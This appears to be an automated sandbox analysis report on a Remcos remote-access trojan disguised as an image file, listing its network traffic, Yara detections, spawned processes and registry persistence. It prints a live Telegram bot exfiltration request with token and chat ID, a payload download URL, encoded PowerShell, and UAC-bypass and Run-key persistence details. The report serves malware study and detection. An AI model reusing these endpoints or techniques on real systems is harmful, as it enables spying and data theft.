Source: global traffic	HTTP traffic detected: GET /bot5700424484:AAHP7I1VQ--kj9KZNXGLeSEyqUKvt4ILTyk/sendMessage?chat_id=1391434830&text=%0D%0A%F0%9F%94%8A%20NEW%20EXECUTION%0D%0A1%EF%B8%8F%E2%83%A3%20User%20=%20user%0D%0A2%EF%B8%8F%E2%83%A3%20Date%20UTC%20=%2010/3/2022%2011:03:09%20PM%0D%0A3%EF%B8%8F%E2%83%A3%20File%20=%20IMG-ZIRAATI03102022.exe HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /img/image/57/b15c1f2fa18efb7b0a2e9e577171ed5d/IMG-ZIRAATI03102022-Wqnntgku.jpg HTTP/1.1Host: www.uplooder.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: unknown	HTTPS traffic detected: 144.76.120.25:443 -> 192.168.2.3:49698 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.3:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.120.25:443 -> 192.168.2.3:49702 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Users\user\AppData\Roaming\FILE.exe

Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Roaming\FILE.exe

Creates a DirectInput object (often for capturing keystrokes)

Source: FILE.exe, 00000011.00000002.603795893.00000000010D0000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud

Yara detected Remcos RAT

Source: Yara match	File source: 0.2.IMG-ZIRAATI03102022.exe.4173680.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.IMG-ZIRAATI03102022.exe.42136a0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.IMG-ZIRAATI03102022.exe.4173680.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.IMG-ZIRAATI03102022.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.IMG-ZIRAATI03102022.exe.4123660.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.IMG-ZIRAATI03102022.exe.40fb640.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.IMG-ZIRAATI03102022.exe.42136a0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000000.414784551.0000000000456000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.610648018.0000000003DDE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.422576677.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.773154547.0000000001237000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.423542604.0000000004213000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: IMG-ZIRAATI03102022.exe PID: 5820, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: IMG-ZIRAATI03102022.exe PID: 4124, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FILE.exe PID: 4184, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.IMG-ZIRAATI03102022.exe.4173680.3.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 0.2.IMG-ZIRAATI03102022.exe.4173680.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0.2.IMG-ZIRAATI03102022.exe.4173680.3.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0.2.IMG-ZIRAATI03102022.exe.42136a0.4.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 0.2.IMG-ZIRAATI03102022.exe.42136a0.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0.2.IMG-ZIRAATI03102022.exe.42136a0.4.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0.2.IMG-ZIRAATI03102022.exe.4173680.3.raw.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 0.2.IMG-ZIRAATI03102022.exe.4173680.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0.2.IMG-ZIRAATI03102022.exe.4173680.3.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 12.0.IMG-ZIRAATI03102022.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 12.0.IMG-ZIRAATI03102022.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 12.0.IMG-ZIRAATI03102022.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0.2.IMG-ZIRAATI03102022.exe.4123660.2.raw.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 0.2.IMG-ZIRAATI03102022.exe.4123660.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0.2.IMG-ZIRAATI03102022.exe.40fb640.1.raw.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 0.2.IMG-ZIRAATI03102022.exe.40fb640.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0.2.IMG-ZIRAATI03102022.exe.42136a0.4.raw.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 0.2.IMG-ZIRAATI03102022.exe.42136a0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0000000C.00000000.414784551.0000000000456000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000011.00000002.610648018.0000000003DDE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000000.00000002.422576677.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000000.00000002.423542604.0000000004213000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: IMG-ZIRAATI03102022.exe PID: 5820, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: IMG-ZIRAATI03102022.exe PID: 4124, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: FILE.exe PID: 4184, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown

Uses 32bit PE files

Source: IMG-ZIRAATI03102022.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Yara signature match

Source: 0.2.IMG-ZIRAATI03102022.exe.4173680.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 0.2.IMG-ZIRAATI03102022.exe.4173680.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0.2.IMG-ZIRAATI03102022.exe.4173680.3.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0.2.IMG-ZIRAATI03102022.exe.42136a0.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 0.2.IMG-ZIRAATI03102022.exe.42136a0.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0.2.IMG-ZIRAATI03102022.exe.42136a0.4.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0.2.IMG-ZIRAATI03102022.exe.4173680.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 0.2.IMG-ZIRAATI03102022.exe.4173680.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0.2.IMG-ZIRAATI03102022.exe.4173680.3.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 12.0.IMG-ZIRAATI03102022.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 12.0.IMG-ZIRAATI03102022.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 12.0.IMG-ZIRAATI03102022.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0.2.IMG-ZIRAATI03102022.exe.4123660.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 0.2.IMG-ZIRAATI03102022.exe.4123660.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0.2.IMG-ZIRAATI03102022.exe.40fb640.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 0.2.IMG-ZIRAATI03102022.exe.40fb640.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0.2.IMG-ZIRAATI03102022.exe.42136a0.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 0.2.IMG-ZIRAATI03102022.exe.42136a0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0000000C.00000000.414784551.0000000000456000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000011.00000002.610648018.0000000003DDE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000000.00000002.422576677.00000000040BA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000000.00000002.423542604.0000000004213000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: IMG-ZIRAATI03102022.exe PID: 5820, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: IMG-ZIRAATI03102022.exe PID: 4124, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: FILE.exe PID: 4184, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23

Detected potential crypto function

Source: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe	Code function: 0_2_06062E90	0_2_06062E90
Source: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe	Code function: 0_2_06063350	0_2_06063350
Source: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe	Code function: 0_2_06062BF8	0_2_06062BF8
Source: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe	Code function: 0_2_06069188	0_2_06069188
Source: C:\Users\user\AppData\Roaming\FILE.exe	Code function: 17_2_01361238	17_2_01361238
Source: C:\Users\user\AppData\Roaming\FILE.exe	Code function: 17_2_01363001	17_2_01363001
Source: C:\Users\user\AppData\Roaming\FILE.exe	Code function: 17_2_053B9178	17_2_053B9178
Source: C:\Users\user\AppData\Roaming\FILE.exe	Code function: 17_2_053B2E90	17_2_053B2E90
Source: C:\Users\user\AppData\Roaming\FILE.exe	Code function: 17_2_01365C60	17_2_01365C60
Source: C:\Users\user\AppData\Roaming\FILE.exe	Code function: 17_2_01365C5B	17_2_01365C5B

Sample file is different than original file name gathered from version info

Source: IMG-ZIRAATI03102022.exe, 00000000.00000003.406392535.00000000044C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameEvxuehfoix.dll" vs IMG-ZIRAATI03102022.exe
Source: IMG-ZIRAATI03102022.exe, 00000000.00000003.406392535.00000000044C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameNewtonsoft.Json.dll2 vs IMG-ZIRAATI03102022.exe
Source: IMG-ZIRAATI03102022.exe, 00000000.00000002.424695583.0000000005F60000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameEvxuehfoix.dll" vs IMG-ZIRAATI03102022.exe
Source: IMG-ZIRAATI03102022.exe, 00000000.00000003.406963478.0000000004647000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameNewtonsoft.Json.dll2 vs IMG-ZIRAATI03102022.exe
Source: IMG-ZIRAATI03102022.exe, 00000000.00000002.425430724.0000000006120000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameNewtonsoft.Json.dll2 vs IMG-ZIRAATI03102022.exe
Source: IMG-ZIRAATI03102022.exe, 00000000.00000002.417758513.0000000003182000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameNewtonsoft.Json.dll2 vs IMG-ZIRAATI03102022.exe
Source: IMG-ZIRAATI03102022.exe, 0000000C.00000002.418663156.000000000105E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewscript.exe` vs IMG-ZIRAATI03102022.exe

Source: IMG-ZIRAATI03102022.exe	ReversingLabs: Detection: 26%
Source: IMG-ZIRAATI03102022.exe	Virustotal: Detection: 26%

Source: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe

File read: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe

Source: unknown	Process created: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe
Source: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQAwAA==
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe	Process created: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe
Source: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\install.vbs"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\FILE.exe "C:\Users\user\AppData\Roaming\FILE.exe"
Source: C:\Users\user\AppData\Roaming\FILE.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQAwAA==
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\FILE.exe	Process created: C:\Users\user\AppData\Roaming\FILE.exe C:\Users\user\AppData\Roaming\FILE.exe
Source: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQAwAA==	Jump to behavior
Source: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe	Process created: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe	Jump to behavior
Source: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\install.vbs"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FILE.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQAwAA==	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FILE.exe	Process created: C:\Users\user\AppData\Roaming\FILE.exe C:\Users\user\AppData\Roaming\FILE.exe	Jump to behavior

Source: IMG-ZIRAATI03102022.exe	Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
Source: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FILE.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1840:120:WilError_01
Source: C:\Users\user\AppData\Roaming\FILE.exe	Mutant created: \Sessions\1\BaseNamedObjects\Rmc-L9LQMY
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6032:120:WilError_01

Source: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FILE.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FILE.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FILE.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FILE.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FILE.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: IMG-ZIRAATI03102022.exe, dpin.cs	.Net Code: fysh System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: FILE.exe.0.dr, dpin.cs	.Net Code: fysh System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.0.IMG-ZIRAATI03102022.exe.ca0000.0.unpack, dpin.cs	.Net Code: fysh System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: FILE.EXE.12.dr, dpin.cs	.Net Code: fysh System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])

Source: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe	File created: C:\ProgramData\work\FILE.EXE			Jump to dropped file
Source: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe	File created: C:\Users\user\AppData\Roaming\FILE.exe			Jump to dropped file

Source: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run FILE			Jump to behavior
Source: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run FILE			Jump to behavior

Source: C:\Users\user\Desktop\IMG-ZIRAATI03102022.exe TID: 5808	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5188	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FILE.exe TID: 2620	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4916	Thread sleep time: -18446744073709540s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FILE.exe TID: 3384	Thread sleep count: 104 > 30
